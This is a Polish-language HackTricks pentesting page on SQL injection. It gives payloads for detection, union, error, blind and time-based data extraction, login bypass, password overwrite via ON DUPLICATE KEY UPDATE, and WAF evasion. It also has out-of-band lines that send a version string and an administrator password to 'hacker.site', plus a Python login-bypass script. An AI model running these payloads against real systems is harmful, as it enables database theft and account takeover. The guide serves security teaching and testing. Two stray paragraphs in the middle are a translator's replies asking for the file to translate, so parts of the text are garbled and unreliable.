SQL Injection

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Czym jest SQL injection?

SQL injection jest luką bezpieczeństwa, która pozwala atakującym ingerować w zapytania do bazy danych aplikacji. Ta luka może umożliwić atakującym przeglądanie, modyfikowanie lub usuwanie danych, do których nie powinni mieć dostępu, włączając informacje innych użytkowników lub jakiekolwiek dane, do których aplikacja ma dostęp. Takie działania mogą spowodować trwałe zmiany w funkcjonalności lub zawartości aplikacji, a nawet kompromitację serwera lub denial of service.

Wykrywanie punktów wejścia

Kiedy strona wydaje się być podatna na SQL injection (SQLi) z powodu nietypowych odpowiedzi serwera na dane wejściowe związane z SQLi, pierwszym krokiem jest zrozumienie, jak wstrzyknąć dane do zapytania bez jego zakłócenia. Wymaga to zidentyfikowania metody, aby skutecznie wydostać się z aktualnego kontekstu. Oto kilka przydatnych przykładów:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

Następnie musisz wiedzieć, jak poprawić zapytanie, aby nie zwracało błędów. Aby naprawić zapytanie, możesz wprowadzić dane, tak aby poprzednie zapytanie zaakceptowało nowe dane, lub możesz po prostu wprowadzić swoje dane i dodać symbol komentarza na końcu.

Zauważ, że jeśli widzisz komunikaty o błędach lub potrafisz dostrzec różnice między działającym zapytaniem a niedziałającym, ta faza będzie łatwiejsza.

Komentarze

MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

Potwierdzanie za pomocą operacji logicznych

Niezawodna metoda potwierdzenia podatności na SQL injection polega na wykonaniu operacji logicznej i obserwacji oczekiwanych wyników. Na przykład GET parameter taki jak ?username=Peter zwracający identyczną zawartość po zmianie na ?username=Peter' or '1'='1 wskazuje na podatność na SQL injection.

Podobnie zastosowanie operacji matematycznych jest skuteczną techniką potwierdzającą. Na przykład, jeśli dostęp do ?id=1 i ?id=2-1 daje ten sam wynik, jest to oznaką SQL injection.

Przykłady demonstrujące potwierdzenie przez operacje logiczne:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

Ta lista słów została stworzona, aby spróbować potwierdzić SQLinjections w zaproponowanym sposobie:

Prawdziwe SQLi ``` true 1 1>0 2-1 0+1 1*1 1%2 1 & 1 1&1 1 && 2 1&&2 -1 || 1 -1||1 -1 oR 1=1 1 aND 1=1 (1)oR(1=1) (1)aND(1=1) -1/**/oR/**/1=1 1/**/aND/**/1=1 1' 1'>'0 2'-'1 0'+'1 1'*'1 1'%'2 1'&'1'='1 1'&&'2'='1 -1'||'1'='1 -1'oR'1'='1 1'aND'1'='1 1" 1">"0 2"-"1 0"+"1 1"*"1 1"%"2 1"&"1"="1 1"&&"2"="1 -1"||"1"="1 -1"oR"1"="1 1"aND"1"="1 1` 1`>`0 2`-`1 0`+`1 1`*`1 1`%`2 1`&`1`=`1 1`&&`2`=`1 -1`||`1`=`1 -1`oR`1`=`1 1`aND`1`=`1 1')>('0 2')-('1 0')+('1 1')*('1 1')%('2 1')&'1'=('1 1')&&'1'=('1 -1')||'1'=('1 -1')oR'1'=('1 1')aND'1'=('1 1")>("0 2")-("1 0")+("1 1")*("1 1")%("2 1")&"1"=("1 1")&&"1"=("1 -1")||"1"=("1 -1")oR"1"=("1 1")aND"1"=("1 1`)>(`0 2`)-(`1 0`)+(`1 1`)*(`1 1`)%(`2 1`)&`1`=(`1 1`)&&`1`=(`1 -1`)||`1`=(`1 -1`)oR`1`=(`1 1`)aND`1`=(`1 ```

Potwierdzanie przez pomiar czasu

W niektórych przypadkach nie zauważysz żadnej zmiany na testowanej stronie. Dlatego dobrym sposobem na discover blind SQL injections jest zmuszenie DB do wykonania akcji, które będą miały wpływ na czas ładowania strony.
Dlatego dodamy do zapytania SQL operację concat, która zajmie dużo czasu na wykonanie:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

W niektórych przypadkach sleep functions nie będą dozwolone. Wówczas, zamiast używać tych funkcji, możesz sprawić, że zapytanie będzie perform complex operations, co zajmie kilka sekund. Przykłady tych technik będą komentowane osobno dla każdej technologii (jeśli występują).

Identyfikacja Back-endu

Najlepszym sposobem na zidentyfikowanie back-endu jest próba wykonania funkcji różnych back-endów. Możesz użyć sleep functions z poprzedniej sekcji lub tych (tabela z payloadsallthethings:

["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

Również, jeśli masz dostęp do wyniku zapytania, możesz sprawić, by ono wyświetliło wersję bazy danych.

Tip

W dalszej części omówimy różne metody wykorzystywania różnych typów SQL Injection. Jako przykład użyjemy MySQL.

Identifying with PortSwigger

SQL injection cheat sheet | Web Security Academy

Wykorzystywanie Union Based

Wykrywanie liczby kolumn

Jeśli możesz zobaczyć wynik zapytania, to jest to najlepszy sposób jego wykorzystania.
Po pierwsze, musimy ustalić liczbę kolumn, które zwraca żądanie początkowe. Dzieje się tak, ponieważ oba zapytania muszą zwracać tę samą liczbę kolumn.
Do tego celu zazwyczaj używa się dwóch metod:

Order/Group by

Aby określić liczbę kolumn w zapytaniu, stopniowo zwiększaj liczbę używaną w klauzulach ORDER BY lub GROUP BY aż otrzymasz błąd. Pomimo odmiennych funkcji GROUP BY i ORDER BY w SQL, obie można wykorzystać tak samo do ustalenia liczby kolumn zwracanych przez zapytanie.

1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

Select coraz więcej wartości NULL, aż zapytanie będzie poprawne:

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

Powinieneś używać null wartości, ponieważ w niektórych przypadkach typ kolumn po obu stronach zapytania musi być taki sam, a null jest akceptowalny w każdym przypadku.

Wyodrębnianie nazw baz danych, nazw tabel i nazw kolumn

W kolejnych przykładach pobierzemy nazwy wszystkich baz danych, nazwy tabel w bazie danych oraz nazwy kolumn w tabeli:

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

Istnieje inny sposób odkrycia tych danych w każdej różnej bazie danych, ale metodologia zawsze jest taka sama.

Exploiting Hidden Union Based

Gdy the output of a query jest widoczny, ale union-based injection wydaje się nieosiągalny, oznacza to obecność hidden union-based injection. Taki scenariusz często prowadzi do sytuacji blind injection. Aby przekształcić blind injection w union-based, trzeba ustalić execution query po stronie backendu.

Można to osiągnąć stosując techniki blind injection razem z default tables specyficznymi dla docelowego Database Management System (DBMS). Aby zrozumieć te default tables, zaleca się konsultację dokumentacji docelowego DBMS.

Gdy query zostanie wydobyte, trzeba dostosować payload tak, aby bezpiecznie zamknąć oryginalne query. Następnie do payloadu dołącza się union query, co umożliwia wykorzystanie nowo dostępnego union-based injection.

Po więcej informacji odwołaj się do pełnego artykułu dostępnego pod adresem Healing Blind Injections.

Exploiting Error based

Jeżeli z jakiegoś powodu nie możesz cannot zobaczyć output of the query, ale możesz see the error messages, możesz sprawić, że te error messages będą służyć do ex-filtrate danych z bazy danych.
Podążając podobnym flow jak w Union Based exploitation, możesz zdołać dump the DB.

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Eksploatacja Blind SQLi

W tym przypadku nie widzisz wyników zapytania ani błędów, ale możesz rozróżnić, kiedy zapytanie zwraca odpowiedź true lub false, ponieważ na stronie pojawiają się różne treści.
W takim przypadku możesz wykorzystać to zachowanie, aby dump the database znak po znaku:

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Wykorzystywanie Error Blind SQLi

To jest ten sam przypadek co wcześniej, ale zamiast rozróżniać odpowiedź true/false z zapytania, możesz rozróżnić, czy w zapytaniu SQL wystąpił error czy nie (np. z powodu awarii serwera HTTP). W takim przypadku możesz wymusić SQLerror za każdym razem, gdy poprawnie odgadniesz char:

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Exploiting Time Based SQLi

W tym przypadku nie ma żadnego sposobu, aby rozróżnić odpowiedź zapytania w oparciu o kontekst strony. Jednak możesz sprawić, że strona będzie ładować się dłużej, jeśli odgadnięty znak jest poprawny. Już wcześniej widzieliśmy tę technikę w użyciu w celu confirm a SQLi vuln.

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Stacked Queries

Możesz użyć stacked queries, aby wykonać wiele zapytań po kolei. Zauważ, że chociaż kolejne zapytania są wykonywane, wyniki nie są zwracane do aplikacji. W związku z tym ta technika jest głównie przydatna w kontekście blind vulnerabilities, gdzie możesz użyć drugiego zapytania do wywołania DNS lookup, conditional error lub time delay.

Oracle nie obsługuje stacked queries. MySQL, Microsoft i PostgreSQL je obsługują: QUERY-1-HERE; QUERY-2-HERE

Out of band Exploitation

Jeśli żaden inny sposób eksploatacji nie zadziałał, możesz spróbować sprawić, by database ex-filtrate informacje do external host kontrolowanego przez ciebie. Na przykład przez DNS queries:

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

Poza pasmem data exfiltration przez XXE

a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

Automated Exploitation

Sprawdź SQLMap Cheatsheet, aby wykorzystać podatność SQLi za pomocą sqlmap.

Tech specific info

Omówiliśmy już wszystkie sposoby wykorzystania podatności SQL Injection. Znajdź dodatkowe triki zależne od technologii bazy danych w tej książce:

Lub znajdziesz wiele trików dotyczących: MySQL, PostgreSQL, Oracle, MSSQL, SQLite i HQL w https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

Authentication bypass

Lista do wypróbowania, aby obejść funkcjonalność logowania:

Login bypass List

Raw hash authentication Bypass

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

To zapytanie ukazuje podatność, gdy MD5 jest używany z true dla surowego wyjścia w kontrolach uwierzytelniania, przez co system staje się podatny na SQL injection. Atakujący mogą to wykorzystać, tworząc dane wejściowe, które po zahashowaniu generują nieoczekiwane fragmenty poleceń SQL, prowadząc do nieautoryzowanego dostępu.

md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!

Injected hash authentication Bypass

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

Zalecana lista:

Użyj jako username każdej linii listy, a jako password zawsze: Pass1234.
(Te payloads są również zawarte w dużej liście wspomnianej na początku tej sekcji)

GBK Authentication Bypass

Jeśli ’ jest escaped możesz użyć %A8%27, a kiedy ’ zostanie escaped, powstanie: 0xA80x5c0x27 (╘’)

%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Nie widzę treści do przetłumaczenia. Proszę wklej zawartość pliku src/pentesting-web/sql-injection/README.md (albo tekst), który mam przetłumaczyć. Przetłumaczę tylko angielski tekst zgodnie z zasadami: nie tłumaczę kodu, nazw technik, linków, ścieżek, tagów markdown/html itp.

import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

Polyglot injection (multicontext)

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Insert Statement

Zmiana hasła istniejącego obiektu/użytkownika

Aby to zrobić, spróbuj utworzyć nowy obiekt o nazwie “master object” (prawdopodobnie admin w przypadku użytkowników), modyfikując coś:

  • Create user named: AdMIn (uppercase & lowercase letters)
  • Create a user named: admin=
  • SQL Truncation Attack (when there is some kind of length limit in the username or email) –> Create user with name: admin [a lot of spaces] a

SQL Truncation Attack

If the database is vulnerable and the max number of chars for username is for example 30 and you want to impersonate the user admin, try to create a username called: “admin [30 spaces] a” and any password.

The database will check if the introduced username exists inside the database. If not, it will cut the username to the max allowed number of characters (in this case to: “admin [25 spaces]”) and the it will automatically remove all the spaces at the end updating inside the database the user “admin” with the new password (some error could appear but it doesn’t means that this hasn’t worked).

More info: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

MySQL Insert time based checking

Dodaj tyle ','','', ile uważasz za konieczne, aby wyjść z VALUES statement. Jeśli delay zostanie wykonany, masz SQLInjection.

name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

Klauzula ON DUPLICATE KEY UPDATE w MySQL służy do określenia działań, które baza danych ma wykonać, gdy próba wstawienia wiersza spowodowałaby duplikat wartości w UNIQUE index lub PRIMARY KEY. Poniższy przykład pokazuje, jak tę funkcję można wykorzystać do zmiany hasła konta administratora:

Example Payload Injection:

Injection payload może być skonstruowany w następujący sposób, w którym próbuje się wstawić dwa wiersze do tabeli users. Pierwszy wiersz jest wabikiem, a drugi celuje w istniejący adres e-mail administratora w celu zaktualizowania hasła:

INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

Jak to działa:

  • Zapytanie próbuje wstawić dwa wiersze: jeden dla generic_user@example.com i drugi dla admin_generic@example.com.
  • Jeśli wiersz dla admin_generic@example.com już istnieje, klauzula ON DUPLICATE KEY UPDATE zostaje wywołana i nakazuje MySQL zaktualizować pole password istniejącego wiersza na “bcrypt_hash_of_newpassword”.
  • W konsekwencji można spróbować uwierzytelnić się używając admin_generic@example.com z hasłem odpowiadającym temu hashowi bcrypt (“bcrypt_hash_of_newpassword” oznacza hash bcrypt nowego hasła i powinien zostać zastąpiony rzeczywistym hashem wybranego hasła).

Wyciąganie informacji

Tworzenie dwóch kont jednocześnie

Przy próbie utworzenia nowego użytkownika potrzebne są username, password i email:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

Używanie dziesiętnego lub szesnastkowego

Dzięki tej technice możesz wydobyć informacje, tworząc tylko 1 konto. Ważne: nie musisz dodawać żadnych komentarzy.

Używając hex2dec i substr:

'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Nie otrzymałem zawartości pliku. Wklej tutaj treść pliku src/pentesting-web/sql-injection/README.md (albo podaj jej zawartość), a przetłumaczę ją na polski zgodnie z podanymi zasadami.

__import__('binascii').unhexlify(hex(215573607263)[2:])

Używając hex i replace (i substr):

'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Routed SQL injection

Routed SQL injection to sytuacja, w której zapytanie podatne na SQL injection nie jest tym, które zwraca wynik, lecz wynik tego zapytania trafia do zapytania, które zwraca wynik. (From Paper)

Przykład:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF Bypass

Początkowe bypasses tutaj

No spaces bypass

No Space (%20) - bypass używając alternatyw dla białych znaków

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - bypass przy użyciu comments

?id=1/*comment*/and/**/1=1/**/--

No Whitespace - bypass przy użyciu nawiasów

?id=(1)and(1)=(1)--

No commas bypass

No Comma - bypass używając OFFSET, FROM i JOIN

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

Ogólne obejścia

Blacklist używająca słów kluczowych - obejście przez użycie wielkich/małych liter

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Czarna lista używając słów kluczowych bez rozróżniania wielkości liter - obejście przy użyciu równoważnego operatora

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

Scientific Notation WAF bypass

Szczegółowe wyjaśnienie tego triku znajdziesz na gosecure blog.
Zasadniczo możesz użyć scientific notation w nieoczekiwany sposób, aby bypass WAF:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

Obejście ograniczenia nazw kolumn

Po pierwsze, zauważ, że jeśli oryginalne zapytanie i tabela, z której chcesz wyodrębnić flag, mają taką samą liczbę kolumn, możesz po prostu zrobić: 0 UNION SELECT * FROM flag

Można uzyskać dostęp do trzeciej kolumny tabeli bez użycia jej nazwy używając zapytania takiego jak: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, więc w sqlinjection wyglądałoby to tak:

# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

Lub używając comma bypass:

# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

Ten trik pochodzi z https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/

Column/tablename injection in SELECT list via subqueries

Jeśli dane wejściowe użytkownika są konkatenowane do SELECT listy lub table/column identifiers, prepared statements nie pomogą, ponieważ bind parameters chronią tylko values, a nie identifiers. Często spotykany podatny wzorzec to:

// Pseudocode
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
$stmt = $db->pquery($q, [$rec_id]);

Pomysł eksploatacji: wstrzyknięcie subquery w pozycję pola w celu eksfiltracji dowolnych danych:

-- Legit
SELECT user_name FROM vte_users WHERE id=1;

-- Injected subquery to extract a sensitive value (e.g., password reset token)
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;

Uwagi:

  • To działa nawet wtedy, gdy klauzula WHERE używa parametru związanego, ponieważ lista identyfikatorów nadal jest łączona konkatenacją łańcuchów znaków.
  • Niektóre stacki dodatkowo pozwalają kontrolować nazwę tabeli (tablename injection), umożliwiając odczyty między tabelami.
  • Output sinks mogą odzwierciedlać wybraną wartość w HTML/JSON, pozwalając na XSS lub token exfiltration bezpośrednio z odpowiedzi.

Środki zaradcze:

  • Nigdy nie łącz identyfikatorów pochodzących z wejścia użytkownika. Mapuj dozwolone nazwy kolumn na stałą allow-list i poprawnie cytuj identyfikatory.
  • Jeśli wymagany jest dynamiczny dostęp do tabel, ogranicz go do skończonego zestawu i rozwiązuj po stronie serwera z bezpiecznego mapowania.

SQLi via AST/filter-to-SQL converters (JSON_VALUE predicates)

Niektóre frameworki konwertują złożone ASTy filtrów na surowe fragmenty booleanowe SQL (np. metadata filters lub JSON predicates), a następnie łączą te fragmenty przez string-concatenate w większe zapytania. Jeśli konwerter owija wartości stringowe jako '%s' bez escapowania, pojedynczy apostrof w danych wejściowych użytkownika kończy literal, a reszta jest parsowana jako SQL.

Przykładowy wzorzec (koncepcyjny):

JSON_VALUE(metadata, '$.department') = '<user_value>'

Payload (URL-encoded): %27%20OR%20%271%27%3D%271 → odkodowane: ' OR '1'='1 → predykat staje się:

JSON_VALUE(metadata, '$.department') = '' OR '1'='1'

ORDER BY / SQLi oparte na identyfikatorach (ograniczenie PDO)

Prepared statements nie mogą powiązać identyfikatorów (nazw kolumn lub tabel). Częstym niebezpiecznym wzorcem jest pobranie kontrolowanego przez użytkownika parametru sort i zbudowanie ORDER BY za pomocą konkatenacji łańcuchów, czasami owijając wejście w backticks, aby je „oczyścić”. To nadal umożliwia SQLi, ponieważ kontekst identyfikatora jest kontrolowany przez atakującego.

Wzorzec podatny:

$sort = $_POST['sort'];
$q = "SELECT id,item_name FROM items WHERE user_id=? ORDER BY `$sort`";
$stmt = $pdo->prepare($q);
$stmt->execute([$user_id]);

Sygnały w ruchu:

  • Parametr sort w POST (często sort=column), nie jest stałą listą dozwolonych wartości.
  • Zmiana sort powoduje błąd zapytania lub zmienia kolejność wyników.

Narzędzia sugerujące obejście WAF

GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester \xc2\xb7 GitHub

Inne poradniki

Lista wykrywania Brute-Force

Auto_Wordlists/wordlists/sqli.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Źródła

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks